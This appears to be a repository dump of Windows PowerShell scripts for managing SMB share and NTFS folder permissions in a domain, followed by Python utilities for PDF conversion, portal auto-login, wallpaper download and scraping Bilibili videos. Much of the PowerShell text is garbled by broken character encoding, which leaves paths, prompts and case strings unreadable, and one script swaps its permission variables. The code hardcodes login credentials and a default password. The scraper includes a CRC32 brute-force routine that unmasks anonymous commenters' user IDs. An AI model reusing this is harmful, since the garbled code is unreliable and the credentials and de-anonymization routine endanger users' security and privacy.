$icaclsCommand Write-Host "NTFSȨޣû $fullUserName ѱֻȨޡ" } catch { Write-Host "NTFSȨޣ޷Ϊû $fullUserName ӷȨޣܷ" } } ================================================ FILE: d-pwsh-dc/指定文件夹所有成员读写.ps1 ================================================ # ļ·ֱڴ޸ģ $SharePath = "C:\ļ" # ȷѰװ SMB ģ Import-Module SmbShare -ErrorAction SilentlyContinue # ȡ $ShareName = (Get-SmbShare | Where-Object Path -eq $SharePath).Name if (-not $ShareName) { Write-Host "δҵļ: $SharePath" exit 1 } # ȡȨ $Permissions = Get-SmbShareAccess -Name $ShareName # Ȩ޲޸ Read Ϊ Change foreach ($Perm in $Permissions) { if ($Perm.AccessRight -eq "Read") { Write-Host "޸ĹȨ: $($Perm.AccountName) ȡ -> " Revoke-SmbShareAccess -Name $ShareName -AccountName $Perm.AccountName -Force Grant-SmbShareAccess -Name $ShareName -AccountName $Perm.AccountName -AccessRight Change -Force } } # ȡȫȨޣNTFS Ȩޣ $Acl = Get-Acl -Path $SharePath $Modified = $false foreach ($Entry in $Acl.Access) { $UserIdentity = $Entry.IdentityReference # NT AUTHORITYBUILTINCREATOR OWNER Լ APPLICATION PACKAGE AUTHORITY if ($UserIdentity -match "NT AUTHORITY|BUILTIN|CREATOR OWNER|APPLICATION PACKAGE AUTHORITY") { Write-Host "˻: $UserIdentity" continue } # NTAccountʧ try { $User = $UserIdentity.Translate([System.Security.Principal.NTAccount]) } catch { Write-Host "޷û: $UserIdentity" continue } # ޸ Read ȨޣΪ Modify if ($Entry.FileSystemRights -match "Read" -and $Entry.FileSystemRights -notmatch "Modify") { Write-Host "޸ NTFS ȫȨ: $User -> ޸" # µ Modify Ȩ $NewRule = New-Object System.Security.AccessControl.FileSystemAccessRule($User, "Modify", "ContainerInherit,ObjectInherit", "None", "Allow") # Ƴɵ Read Ȩ $OldRule = New-Object System.Security.AccessControl.FileSystemAccessRule($User, "Read", "ContainerInherit,ObjectInherit", "None", "Allow") # ֻԽɹû޸ try { $Acl.RemoveAccessRuleSpecific($OldRule) $Acl.AddAccessRule($NewRule) $Modified = $true } catch { Write-Host "޸Ȩʱ: $_" } } } # ޸ ACLӦø if ($Modified) { try { Set-Acl -Path $SharePath -AclObject $Acl Write-Host "NTFS Ȩ޸" } catch { Write-Host "Set-Acl ʧ: $_" } } else { Write-Host "δҪ޸ĵ NTFS ȡȨ" } Write-Host "Ȩ޸" ================================================ FILE: d-pwsh-dc/指定文件夹所有成员读取.ps1 ================================================ # ļ·޸Ϊʵʹļ· $SharePath = "C:\ļ" # ȷѰװ SMB ģ Import-Module SmbShare -ErrorAction SilentlyContinue # ȡ $ShareName = (Get-SmbShare | Where-Object Path -eq $SharePath).Name if (-not $ShareName) { Write-Host "δҵļ: $SharePath" exit 1 } # ȡȨ $Permissions = Get-SmbShareAccess -Name $ShareName # Ȩ޲޸ Change Ϊ Read foreach ($Perm in $Permissions) { if ($Perm.AccessRight -eq "Change") { Write-Host "޸ĹȨ: $($Perm.AccountName) -> ֻ" Revoke-SmbShareAccess -Name $ShareName -AccountName $Perm.AccountName -Force Grant-SmbShareAccess -Name $ShareName -AccountName $Perm.AccountName -AccessRight Read -Force } } # ȡȫȨޣNTFS Ȩޣ $Acl = Get-Acl -Path $SharePath $Modified = $false foreach ($Entry in $Acl.Access) { $UserIdentity = $Entry.IdentityReference # NT AUTHORITYBUILTIN CREATOR OWNER if ($UserIdentity -match "NT AUTHORITY|BUILTIN|CREATOR OWNER") { Write-Host "˻: $UserIdentity" continue } # Խû try { $User = $UserIdentity.Translate([System.Security.Principal.NTAccount]) } catch { Write-Host "޷ SID: $UserIdentity" continue } # Ȩް ModifyΪ Read if ($Entry.FileSystemRights -match "Modify") { Write-Host "޸ NTFS ȫȨ: $UserIdentity -> ȡȨ" # ֻ "Read" Ȩ $NewRule = New-Object System.Security.AccessControl.FileSystemAccessRule($User, "Read", "ContainerInherit,ObjectInherit", "None", "Allow") # Ƴɵ Modify ȨޣֹȨ޵ $OldRule = New-Object System.Security.AccessControl.FileSystemAccessRule($User, "Modify", "ContainerInherit,ObjectInherit", "None", "Allow") # ֻڽɹ£ִɾӹ try { $Acl.RemoveAccessRuleSpecific($OldRule) $Acl.AddAccessRule($NewRule) $Modified = $true } catch { Write-Host "޸Ȩʱ: $_" } } } # ޸ ACLӦø if ($Modified) { try { Set-Acl -Path $SharePath -AclObject $Acl Write-Host "NTFS Ȩ޸ɣȡȨ" } catch { Write-Host "Set-Acl ʧ: $_" } } else { Write-Host "δҪ޸ĵ NTFS Ȩ" } Write-Host "Ȩ޸" ================================================ FILE: d-pwsh-dc/文件夹权限模板.ps1 ================================================ <#ȫȨ#> # ȫȨΪֻ icacls "C:\ļ\л" /grant "csylq\ʫ:(OI)(CI)(R)" /t # /t ʾݹ # ȫȨΪ༭ icacls "C:\ļ\С" /grant "csylq\ʫ:(OI)(CI)(M)" /t # ȫȨΪȡȡִСгļ icacls "C:\ļ\л" /grant "csylq\ʫ:(OI)(CI)(RX)" /t # ɾûļȨ icacls "C:\ļ\л" /remove "csylq\ʫ" /t <#Ȩ#> # дȨ Grant-SmbShareAccess -Name "С" -AccountName "csylq\ʫ" -AccessRight Change -Force # ֻȨ Grant-SmbShareAccess -Name "л" -AccountName "csylq\ʫ" -AccessRight Read -Force # ȫ Grant-SmbShareAccess -Name "찮÷" -AccountName "csylq\ʫ" -AccessRight Full -Force # ɾȨ Revoke-SmbShareAccess -Name "л" -AccountName "csylq\ʫ" -Force <# ͬһûͬʱʹ -ReadAccess -ChangeAccessΪͻ ҪѡһȨ޷ʽҪôǶȡҪô޸ģChange ȨѾ˶ȡȨޣ £ûֱӸ Change Ȩ޾㹻ˣΪȡдȨޡ ֮Ծ׼λΪΨһļиɶķǹļС ģ壺https://www.cnblogs.com/suv789/p/18284489 #> ================================================ FILE: d-pwsh-dc/查看用户在哪些共享文件夹有相关权限.ps1 ================================================ # $domain = "CSXZX" $userName = Read-Host "Ŀûû" # û $userName = "$domain\$userName" # û # ȡûĹȨ Write-Host " $userName ĹȨޣ" Get-SmbShare | ForEach-Object { $shareName = $_.Name $access = Get-SmbShareAccess -Name $shareName | Where-Object { $_.AccountName -eq $userName } if ($access) { $access | ForEach-Object { Write-Host "$userName ڹļ '$shareName' еȨޣ$($_.AccessControlType) $($_.AccessRight)" } } } # ȡûNTFSȨ Write-Host "`n $userName NTFS Ȩޣ" Get-SmbShare | ForEach-Object { $folderPath = $_.Path if ($folderPath -and (Test-Path $folderPath)) { # ·ǷΪҴ $acl = Get-Acl -Path $folderPath $userAccess = $acl.Access | Where-Object { $_.IdentityReference -eq $userName } if ($userAccess) { $userAccess | ForEach-Object { Write-Host "$userName '$folderPath' е NTFS Ȩޣ$($_.AccessControlType) $($_.FileSystemRights)" } } } } Write-Host "`nɡ" ================================================ FILE: d-pwsh-dc/根据成员名单及文件夹名单指定读写.ps1 ================================================ Write-Host "ļȨ޽űʼ..." -ForegroundColor Cyan # ǰ׺ $domain = "CSXZX" # ûб· $domainUsersFile = "C:\Users\Administrator\Desktop\Ա.txt" # ļб·ÿһ $shareConfigFile = "C:\Users\Administrator\Desktop\Ȩļ.txt" # Ŀ¼ $baseFolderPath = "C:\ļ" # ȡûб $domainUsers = Get-Content -Path $domainUsersFile # ȡб $shareNames = Get-Content -Path $shareConfigFile foreach ($shareName in $shareNames) { $shareName = $shareName.Trim() $folderPath = Join-Path $baseFolderPath $shareName Write-Host "`nʼ [$shareName]· [$folderPath]..." -ForegroundColor Yellow foreach ($user in $domainUsers) { $fullUserName = "$domain\$user" Write-Host " ڴû $fullUserName ..." # 1. SMB Ȩ try { Grant-SmbShareAccess -Name $shareName -AccountName $fullUserName -AccessRight Change -Force Write-Host "Ȩ" -ForegroundColor Green } catch { Write-Host "޷ӹȨޣѴڻ" -ForegroundColor Red } # 2. NTFS Ȩ try { $icaclsCommand = "icacls `"$folderPath`" /grant `"${fullUserName}:(OI)(CI)M`" /t" Invoke-Expression $icaclsCommand Write-Host "NTFSȨ" -ForegroundColor Green } catch { Write-Host "޷NTFSȨޡ" -ForegroundColor Red } } } Write-Host "`nȫɡ" -ForegroundColor Cyan ================================================ FILE: d-pwsh-dc/根据文本内容批量添加相关权限.ps1 ================================================ # Ŀ¼· $baseFolderPath = "C:\ļ" # · $userFile = "C:\Users\Administrator\Desktop\Ȩ޷б.txt" # 滻Ϊʵʵ TXT ļ· # ȡûļÿһ Get-Content $userFile | ForEach-Object { # ոָÿһе # $parts = $_ -split '\s+' $parts = $_ -split '[\s,\t]+' # ʽոƱźͶٺ if ($parts.Length -ge 8) { $username = $parts[0] $folder2 = $parts[5] # ļ $folder3 = $parts[6] # Ŀ¼ļ $permissionType = $parts[7] # NTFS Ȩ $ntfsPermission = if ($permissionType -like "**") { "(OI)(CI)(R)" # ֻȨ } elseif ($permissionType -like "*༭*" -or $permissionType -like "*д*" -or $permissionType -like "**") { "(OI)(CI)(M)" # ޸Ȩ } else { "(OI)(CI)(R)" # Ĭ϶Ȩ } # ùȨ $sharePermission = if ($permissionType -like "**") { "Read" # ֻȨ } elseif ($permissionType -like "*༭*" -or $permissionType -like "*д*" -or $permissionType -like "**") { "Change" # Ȩ } else { "Read" # ĬϹֻȨ } # folder2ļУ·ȥ顱 $folder2WithoutGroup = if ($folder2 -like "*") { $folder2 -replace "$", "" # ȥ顱֣β } else { $folder2 # ûС顱֣ԭ } # ļ· $fullPath1 = Join-Path -Path $baseFolderPath -ChildPath $folder2 # ԭʼļ· $fullPath2 = Join-Path -Path $baseFolderPath -ChildPath $folder3 # Ŀ¼ļ· $fullPath3 = Join-Path -Path $baseFolderPath -ChildPath $folder2WithoutGroup # ȥ顱ֺļ· # Ϊÿļ·Ȩ $folders = @($fullPath1, $fullPath2, $fullPath3) foreach ($folderPath in $folders) { # ļ·Ƿ if (-Not (Test-Path $folderPath)) { Write-Output "· $folderPath ڣ·" continue } # ʹ icacls NTFS Ȩ icacls "$folderPath" /grant ${username}:$ntfsPermission /t Write-Host "Ϊû $username ļ $folderPath NTFS $ntfsPermission Ȩޡ" -ForegroundColor Yellow # 鹲Ƿ $netShareName = (Get-Item $folderPath).Name # ʹļΪ if (Get-SmbShare -Name $netShareName -ErrorAction SilentlyContinue) { # ڣӹȨ Grant-SmbShareAccess -Name $netShareName -AccountName "$username" -AccessRight $sharePermission -Force Write-Host "Ϊû $username ڹ $netShareName 乲 $sharePermission Ȩޡ" -ForegroundColor Yellow } else { Write-Output " $netShareName ڣȨ޷䡣" } } } else { Write-Output "иʽƥ䣬$_" } } Write-Output "ûȨѳɹӡ" ================================================ FILE: d-pwsh-dc/灵活加权限.ps1 ================================================ # ȡû $userInput = Read-Host "û֧ԿոĶšӢĶšٺŷָûӣ" # $domain = "CSXZX" # ȡƵĹؼ֣֧ģƥ䣩 $shareNameKeyword = Read-Host "ļƣ֧ģƥ䣩" # йļвģƥ $allShares = Get-SmbShare | Where-Object { $_.Name -like "*$shareNameKeyword*" } if ($allShares.Count -eq 0) { Write-Host "ûҵƥĹơؼֺԡ" Start-Sleep -Seconds 5 exit } # ƥ䵽Ĺļѡʾ Write-Host "ƥ䵽¹ļУѡһļнȨã" $allShares | ForEach-Object { Write-Host "$($_.Name)" } # ȡûѡĹļ $shareNameSelection = Read-Host "ҪѡĹļ" # ֤ѡĹļǷƥ $selectedShare = $allShares | Where-Object { $_.Name -eq $shareNameSelection } if (-not $selectedShare) { Write-Host "Чѡ˳ű" Start-Sleep -Seconds 5 exit } # ȡȨ $permissionsInput = Read-Host "Ȩãֻ/ȡ༭/д" # ȨӳΪӦĹȨ޺NTFSȨ $sharePermission = "" $ntfsPermission = "" switch ($permissionsInput) { "ֻ" { $sharePermission = "(OI)(CI)(R)" $ntfsPermission = "Read" break } "ȡ" { $sharePermission = "(OI)(CI)(R)" $ntfsPermission = "Read" break } "༭" { $sharePermission = "(OI)(CI)(M)" $ntfsPermission = "Change" break } "" { $sharePermission = "(OI)(CI)(M)" $ntfsPermission = "Change" break } "д" { $sharePermission = "(OI)(CI)(M)" $ntfsPermission = "Change" break } default { Write-Host "ЧȨ롣" exit } } # ָû룬ֿ֧ոĶšӢĶšٺΪָ $usernames = $userInput -split '[ ,]' # ѭΪÿûùͰȫȨ foreach ($username in $usernames) { # ȥβո $username = $username.Trim() # ûǷΪ if ($username) { # Ȩ Grant-SmbShareAccess -Name "$($selectedShare.Name)" -AccountName "$domain\$username" -AccessRight $ntfsPermission -Force # NTFSȨ icacls "C:\ļ\$($selectedShare.Name)" /grant "$domain\${username}:$sharePermission" /t Write-Host "Ϊû '$username' ȨޣȨ '$sharePermission'NTFSȨ '$ntfsPermission'ļУ$($selectedShare.Name)" } } # ͣ5 Start-Sleep -Seconds 5 # ˳ű exit ================================================ FILE: d-pwsh-dc/生产作业1 读取、生产作业2 读写的批量操作.ps1 ================================================ # $domain = "CSXZX" # 干ƺļ· $shareName1 = "ҵ1" # $folderPath1 = "C:\ļ\ҵ1" # ļеʵ· $shareName2 = "ҵ2" # $folderPath2 = "C:\ļ\ҵ2" # ļеʵ· $domainUsersFile = "C:\Users\Administrator\Desktop\ҵ.txt" # ûtxtļ· # ȡtxtļÿһû $domainUsers = Get-Content -Path $domainUsersFile foreach ($user in $domainUsers) { # Ϊÿûǰ׺ $fullUserName = "$domain\$user" Write-Host "Ϊû $fullUserName Ȩ..." # 1. ӹȨ try { Grant-SmbShareAccess -Name $shareName1 -AccountName $fullUserName -AccessRight Read -Force Write-Host "Ȩޣû $fullUserName ѱ $shareName2 Ȩޡ" Grant-SmbShareAccess -Name $shareName2 -AccountName $fullUserName -AccessRight Change -Force Write-Host "Ȩޣû $fullUserName ѱ $shareName2 дȨޡ" } catch { Write-Host "Ȩޣ޷Ϊû $fullUserName ӷȨޣܸûѴڻ" } # 2. NTFSȨޣֻ try { $icaclsCommand1 = "icacls `"$folderPath1`" /grant `"${fullUserName}:(OI)(CI)R`" /t" # ʾȨ $icaclsCommand2 = "icacls `"$folderPath2`" /grant `"${fullUserName}:(OI)(CI)M`" /t" # ʾȨ # ַתΪ Invoke-Expression $icaclsCommand1 Invoke-Expression $icaclsCommand2 Write-Host "NTFSȨޣû $fullUserName ѱ $folderPath1 ֻȨޡ" Write-Host "NTFSȨޣû $fullUserName ѱ $folderPath2 дȨޡ" } catch { Write-Host "NTFSȨޣ޷Ϊû $fullUserName ӷȨޣܷ" } } ================================================ FILE: d-pwsh-dc/生成华三导入.ps1 ================================================ # ļ· $inputFile = "C:\Users\Administrator\Desktop\û.txt" $outputFile = "C:\Users\Administrator\Desktop\inode_exportAccount.txt" # ļѾڣ if (Test-Path $outputFile) { Clear-Content $outputFile } # ȡļÿһв Get-Content $inputFile -Encoding UTF8 | ForEach-Object { $name = $_.Trim() # ȥǰĿոз if ($name -ne "") { # ȷвΪ $formattedName = "$name $name ҵ Mima12345 $name ר(հ)" # ʽַдļ Add-Content -Path $outputFile -Value $formattedName } } Write-Host "ִɣд뵽 $outputFile" ================================================ FILE: d-pwsh-dc/移除权限模板.ps1 ================================================ # $domain = "CSXZX" # ʾûû͹ļ $userName = Read-Host "Ŀûû" # û $shareName = Read-Host "빲ļ" # 빲ļ # û $userName = "$domain\$userName" # ȡļ· $folderPath = (Get-SmbShare -Name $shareName).Path # Ƴ NTFS Ȩ $acl = Get-Acl -Path $folderPath $acl.Access | Where-Object { $_.IdentityReference -eq $userName } | ForEach-Object { $acl.RemoveAccessRule($_) } Set-Acl -Path $folderPath -AclObject $acl Write-Host "ѳɹƳ $userName NTFS Ȩ" # ƳȨ Revoke-SmbShareAccess -Name $shareName -AccountName $userName -Force Write-Host "ѳɹƳ $userName ĹȨ" ================================================ FILE: d-pwsh-dc/移除用户所有涉及到的共享文件夹权限.ps1 ================================================ # $domain = "CSXZX" $userName = Read-Host "Ŀûû" # û $excludeShares = Read-Host "ųĹļУöŻٺŷָĬƳйļУ" # ĬųĹļ $defaultExcludeShares = @("ADMIN$", "C$", "IPC$", "NETLOGON", "SYSVOL") # û $userName = "$domain\$userName" # ȡйļ $shares = Get-SmbShare # ҪųĹļ if ($excludeShares) { $excludeSharesList = ($excludeShares -replace "", ",").Split(",") $excludeSharesList += $defaultExcludeShares # ϲĬųļ $shares = $shares | Where-Object { $excludeSharesList -notcontains $_.Name } } else { # ûųĹļУʹĬųб $shares = $shares | Where-Object { $defaultExcludeShares -notcontains $_.Name } } # йļУƳûȨ foreach ($share in $shares) { # ûǷйȨ $access = Get-SmbShareAccess -Name $share.Name | Where-Object { $_.AccountName -eq $userName } if ($access) { # ƳȨ Revoke-SmbShareAccess -Name $share.Name -AccountName $userName -Force Write-Host -ForegroundColor Green "Ƴ $userName ڹļ '$($share.Name)' ĹȨ" } else { Write-Host "$userName ڹļ '$($share.Name)' ûйȨޣƳ" } # ȡļ·Ƴ NTFS Ȩ $folderPath = $share.Path $acl = Get-Acl -Path $folderPath $userAccess = $acl.Access | Where-Object { $_.IdentityReference -eq $userName } if ($userAccess) { # Ƴû NTFS Ȩ $userAccess | ForEach-Object { $acl.RemoveAccessRule($_) } Set-Acl -Path $folderPath -AclObject $acl Write-Host -ForegroundColor Green "Ƴ $userName '$folderPath' NTFS Ȩ" } else { Write-Host "$userName '$folderPath' û NTFS ȨޣƳ" } } Write-Host "ȨƳ" ================================================ FILE: d-pwsh-dc/组织单元成员迁移.ps1 ================================================ # Ŀ OU · # $targetOU = "OU=wps·,OU=·,DC=CSXZX,DC=com" $targetOU = "OU=ʼ,OU=Ŷ,DC=CSXZX,DC=com" # ȡûļ $userListPath = "C:\Users\Administrator\Desktop\迪ͨWPSȨ޵ʼԱ.txt" $userNames = Get-Content -Path $userListPath # ƶû foreach ($userName in $userNames) { # ȡû DistinguishedName $user = Get-ADUser -Filter {SamAccountName -eq $userName} if ($user) { # ƶûĿOU Move-ADObject -Identity $user.DistinguishedName -TargetPath $targetOU Write-Host "û $userName ƶ $targetOU" } else { Write-Host "δҵû $userName" } } ================================================ FILE: d-python/PDFtoPNG.py ================================================ import os import fitz import PySimpleGUI as sg def pdf_to_png(pdf_path, image_path): # 从 PDF 路径中提取文件名作为文件夹名称 pdf_name = os.path.splitext(os.path.basename(pdf_path))[0] dir = os.path.join(image_path, pdf_name) if not os.path.exists(dir): os.makedirs(dir) doc = fitz.open(pdf_path) for i in range(len(doc)): page = doc[i] pix = page.get_pixmap() imageSavePath = os.path.join(dir, f"{pdf_name}_{i}.png") pix.save(imageSavePath) def convert_to_png(pdf_path, image_path): pdf_name = os.path.splitext(os.path.basename(pdf_path))[0] pdf_to_png(pdf_path, image_path) sg.popup("转换完成!", title="PDF转PNG", font=("Helvetica", 16)) # 创建窗口布局 layout = [ [sg.Text("将需要转换的PDF选入", font=("Helvetica", 16))], [sg.Input(key="-FILE-", enable_events=True), sg.FileBrowse(file_types=(("PDF Files", "*.pdf"),), button_text="浏览")], [sg.Button("点击转换", key="-CONVERT-")] ] # 创建窗口 window = sg.Window("PDF文档转PNG图片", layout) # 事件循环 while True: event, values = window.read() if event == sg.WINDOW_CLOSED: break elif event == "-CONVERT-": pdf_path = values["-FILE-"] convert_to_png(pdf_path, os.path.expanduser("~/Desktop")) window.close() ================================================ FILE: d-python/autologin.py ================================================ from DrissionPage import ChromiumPage from selenium import webdriver from DrissionPage import Drission, MixPage from webdriver_manager.chrome import ChromeDriverManager # pip3 install selenium # pip3 install DrissionPage # Mac的路径问题: # https://github.com/g1879/DrissionPage/issues/2 # 用 selenium 原生代码创建 WebDriver 对象 driver = webdriver.Chrome(ChromeDriverManager().install()) # 把 WebDriver 对象传入 Drission 对象 dr = Drission(driver_or_options=driver) page = MixPage(drission=dr) # 跳转到登录页面 page.get('http://10.10.10.1/ac_portal/default/pc.html?tabs=pwd') # 定位到账号文本框并输入账号 page.ele('#password_name').input('user01') # 定位到密码文本框并输入密码 page.ele('#password_pwd').input('2020') # 记住登录状态 page.ele('#rememberPwd').click() # 点击登录按钮 page.ele('#password_submitBtn').click() # input("程序运行结束,可以按任意键退出") # 参考 ## DrissionPage 入门指南 ### http://g1879.gitee.io/drissionpagedocs/3_get_start/1_installation_and_import/#_3 ## DrissionPage 示例 ### http://g1879.gitee.io/drissionpagedocs/9_demos/login_gitee/#_1 ================================================ FILE: d-python/get_bing_wallpapers.py ================================================ import os import re import requests def download_image(image_url: str, save_dir: str): """ 下载图片并保存到指定目录 :param image_url: 图片的 URL :param save_dir: 保存目录 """ # 拆分图片 URL 以获取图片名称 picture_name = re.split("[._]", image_url) # 拼接图片保存路径 save_path = os.path.join(save_dir, f"{picture_name[1]}.{picture_name[4]}") # 请求图片的下载地址 request = requests.post(f'https://cn.bing.com{image_url}') # 保存图片到本地 with open(save_path, "wb") as f: f.write(request.content) print("下载完成:" + save_path) def create_dir_if_not_exists(directory: str): """ 如果目录不存在,则创建它 :param directory: 目录路径 """ if not os.path.exists(directory): os.makedirs(directory) def main(): # 模拟浏览器请求头 headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36" } # 循环3次,即从首页到第三页 for page_num in range(4): data = { "pageNum": page_num, "pageSize": 9 } # 请求图片网站API,调用json参数 request = requests.post('http://www.isummer.cn/x_site/wp/getWpList', json=data, headers=headers) # 拼接用户主目录下的 Pictures 文件夹路径 default_pictures_dir = os.path.join(os.path.expanduser("~"), "Pictures") # 拼接成指定保存的图片目录 picture_path = os.path.join(default_pictures_dir, "bing") # 如果目录不存在则创建 create_dir_if_not_exists(picture_path) # 循环获取返回的图片地址 for image in request.json()["data"]["list"]: # "wpUrl" 字符串中提取出第一个以 & 符号为分隔符的第一个字符串 picture_list = image["wpUrl"].split("&")[0] download_image(picture_list, picture_path) if __name__ == '__main__': main() ================================================ FILE: d-python/get_bv_baseinfo.py ================================================ import json import time import requests import os from datetime import datetime import re from bs4 import BeautifulSoup from openpyxl import Workbook from openpyxl.styles import Alignment, Font from snownlp import SnowNLP import statistics import jieba from wordcloud import WordCloud import matplotlib.pyplot as plt import platform import thulac import matplotlib.font_manager as fm from selenium import webdriver from webdriver_manager.chrome import ChromeDriverManager from selenium.webdriver.common.by import By ''''''''' # 参考链接 ## 常规 正则表达式:https://regex101.com/ zhihu - 用Python获取哔站视频弹幕的两种方式:https://zhuanlan.zhihu.com/p/609154366 juejin - B站视频弹幕解析:https://juejin.cn/post/7137928570080329741 csdn - B站历史弹幕爬虫:https://blog.csdn.net/sinat_18665801/article/details/104519838 csdn - 如何写一只抓哔哩哔哩弹幕的爬虫:https://blog.csdn.net/bigbigsman/article/details/78639053?utm_source=app bilibili - B站弹幕笔记:https://www.bilibili.com/read/cv5187469/ B站第三方API:https://www.bookstack.cn/read/BilibiliAPIDocs/README.md ## uid 反查 https://github.com/esterTion/BiliBili_crc2mid https://github.com/cwuom/GetDanmuSender/blob/main/main.py https://github.com/Aruelius/crc32-crack ## 用户基础信息 https://api.bilibili.com/x/space/acc/info?mid=298220126 https://github.com/ria-klee/bilibili-uid https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/user/space.md ## 评论 https://www.bilibili.com/read/cv10120255/ https://github.com/SocialSisterYi/bilibili-API-collect/blob/master/docs/comment/readme.md ## json https://json-schema.apifox.cn https://bbs.huaweicloud.com/blogs/279515 https://www.cnblogs.com/mashukui/p/16972826.html ## cookie https://developer.mozilla.org/zh-CN/docs/Web/HTTP/Cookies ## 拆包 https://www.cnblogs.com/will-wu/p/13251545.html https://www.w3schools.com/python/python_tuples.asp ''''''''''' class BilibiliAPI: @staticmethod # 解析视频链接基础信息json,返回json格式数据 def get_bv_json(video_url): video_id = re.findall(r'BV\w+', video_url)[0] api_url = f'https://api.bilibili.com/x/web-interface/view?bvid={video_id}' bv_json = requests.get(api_url).json() return bv_json @staticmethod # 通过json的cid字段,解析视频链接弹幕 xml def get_danmu_xml(bv_json): cid = bv_json['data']["cid"] # api_url = f'https://api.bilibili.com/x/v1/dm/list.so?oid={cid}' api_url = f'https://comment.bilibili.com/{cid}.xml' danmu_xml = api_url return danmu_xml @staticmethod # 通过json的aid字段,解析视频链接评论 json def get_comment_json(bv_json): aid = bv_json['data']["aid"] api_url = f'https://api.bilibili.com/x/v2/reply/main?next=1&type=1&oid={aid}' # print(api_url) comment_json = requests.get(api_url).json() return comment_json @staticmethod # 通过json的aid字段,解析视频链接评论 json 威力增强版 def get_comment_json_to_webui(bv_json): aid = bv_json['data']["aid"] api_url = f'https://api.bilibili.com/x/v2/reply/main?next=1&type=1&oid={aid}' # 获取当前操作系统类型 if platform.system() == "Windows": # Windows 平台 driver = webdriver.Chrome() else: # 其他平台 driver = webdriver.Chrome(ChromeDriverManager().install()) # 提供登录时间 print("提供B站登录时间为45秒") time.sleep(45) # 打开链接 driver.get(api_url) # 提供查看效果时间 print("提供查看效果时间为15秒") time.sleep(15) # 查找
     元素
            pre_element = driver.find_element(By.TAG_NAME, 'pre')
    
            # 获取元素的文本内容
            text_content = pre_element.text
            # print(text_content)
    
            # 关闭 WebDriver
            driver.quit()
    
            return text_content
    
        @staticmethod
        # 遍历用户信息,返回基本参数,为xlsx写入做准备
        def get_user_card(mid, cookies):
                api_url = f'https://account.bilibili.com/api/member/getCardByMid?mid={mid}'
                try:
                    response = requests.get(api_url, cookies=cookies)
                    user_card_json = response.json()
                except json.JSONDecodeError:
                    return {"error": "解析JSON失败,请确保网络环境状态良好,调用用户资料API次数过多,此次处理可能存在风控,请稍后几分钟再试"}  # 返回适当的错误信息
    
                if 'message' in user_card_json:
                    message = user_card_json['message']
                    if '请求被拦截' in message or '请求过于频繁' in message:
                        return {"warning": "请确保网络环境状态良好,调用用户资料API次数过多,此次处理可能存在风控,请稍后几分钟再试"}
    
                return user_card_json
    
    class CRC32Checker:
    
        ''''''''''
        # crc32破解
        # 出处:https://github.com/Aruelius/crc32-crack
        # 作者:Aruelius
        # 说明:此处进行了微调,将其封装成类,方便调用。
        '''''''''
    
        CRCPOLYNOMIAL = 0xEDB88320
        crctable = [0 for x in range(256)]
    
        def __init__(self):
            self.create_table()
    
        def create_table(self):
            # 创建CRC表,用于快速计算CRC值
            for i in range(256):
                crcreg = i
                for _ in range(8):
                    if (crcreg & 1) != 0:
                        crcreg = self.CRCPOLYNOMIAL ^ (crcreg >> 1)
                    else:
                        crcreg = crcreg >> 1
                self.crctable[i] = crcreg
    
        def crc32(self, string):
            # 计算给定字符串的CRC32值
            crcstart = 0xFFFFFFFF
            for i in range(len(str(string))):
                index = (crcstart ^ ord(str(string)[i])) & 255
                crcstart = (crcstart >> 8) ^ self.crctable[index]
            return crcstart
    
        def crc32_last_index(self, string):
            # 计算给定字符串的最后一个字符对应的CRC表索引
            crcstart = 0xFFFFFFFF
            for i in range(len(str(string))):
                index = (crcstart ^ ord(str(string)[i])) & 255
                crcstart = (crcstart >> 8) ^ self.crctable[index]
            return index
    
        def get_crc_index(self, t):
            # 根据CRC表最高字节的值查找对应的索引
            for i in range(256):
                if self.crctable[i] >> 24 == t:
                    return i
            return -1
    
        def deep_check(self, i, index):
            # 深度检查,根据索引和之前的CRC32值验证假设
            string = ""
            tc = 0x00
            hashcode = self.crc32(i)
            tc = hashcode & 0xff ^ index[2]
            if not (tc <= 57 and tc >= 48):
                return [0]
            string += str(tc - 48)
            hashcode = self.crctable[index[2]] ^ (hashcode >> 8)
            tc = hashcode & 0xff ^ index[1]
            if not (tc <= 57 and tc >= 48):
                return [0]
            string += str(tc - 48)
            hashcode = self.crctable[index[1]] ^ (hashcode >> 8)
            tc = hashcode & 0xff ^ index[0]
            if not (tc <= 57 and tc >= 48):
                return [0]
            string += str(tc - 48)
            hashcode = self.crctable[index[0]] ^ (hashcode >> 8)
            return [1, string]
    
        def main(self, string):
            # 主要函数,根据给定的字符串计算CRC32并进行验证
            index = [0 for x in range(4)]
            i = 0
            ht = int(f"0x{string}", 16) ^ 0xffffffff
            for i in range(3, -1, -1):
                index[3-i] = self.get_crc_index(ht >> (i*8))
                snum = self.crctable[index[3-i]]
                ht ^= snum >> ((3-i)*8)
            for i in range(100000000):
                lastindex = self.crc32_last_index(i)
                if lastindex == index[3]:
                    deepCheckData = self.deep_check(i, index)
                    if deepCheckData[0]:
                        break
            if i == 100000000:
                return -1
            return f"{i}{deepCheckData[1]}"
    
    class Tools:
        @staticmethod
        # 获取保存路径及格式
        def get_save():
            return os.path.join(os.path.join(os.path.expanduser("~"), "Desktop"),
                                "B站视频基础信息调研_{}.xlsx".format(datetime.now().strftime('%Y-%m-%d')))
    
        @staticmethod
        # 格式化时间戳
        def format_timestamp(timestamp):
            dt_object = datetime.fromtimestamp(timestamp)
            formatted_time = dt_object.strftime("%Y-%m-%d %H:%M:%S")
            return formatted_time
    
        @staticmethod
        # 情绪值计算
        def calculate_sentiment_score(text):
            s = SnowNLP(text)
            sentiment_score = s.sentiments
            return sentiment_score
    
        @staticmethod
        # 生成词云
        def get_word_cloud(sheet_name: str, workbook: Workbook):
            # 获取之前写入的词频统计sheet
            sheet = workbook[sheet_name]
    
            # 读取词频数据
            words = []
            frequencies = []
            for row in sheet.iter_rows(min_row=2, values_only=True):
                words.append(row[0])
                frequencies.append(row[1])
    
            # 获取当前操作系统类型
            system = platform.system()
    
            # 根据操作系统类型设置字体文件路径
            if system == 'Darwin':  # macOS
                font_path = '/System/Library/Fonts/STHeiti Light.ttc'  # 替换为适合你的字体文件路径
            elif system == 'Windows':
                font_path = 'C:/Windows/Fonts/simhei.ttf'  # 替换为适合你的字体文件路径
            else:  # 其他操作系统,如 Linux
                font_path = 'simhei.ttf'  # 替换为适合你的字体文件路径
    
            # 创建词云对象,指定字体文件路径
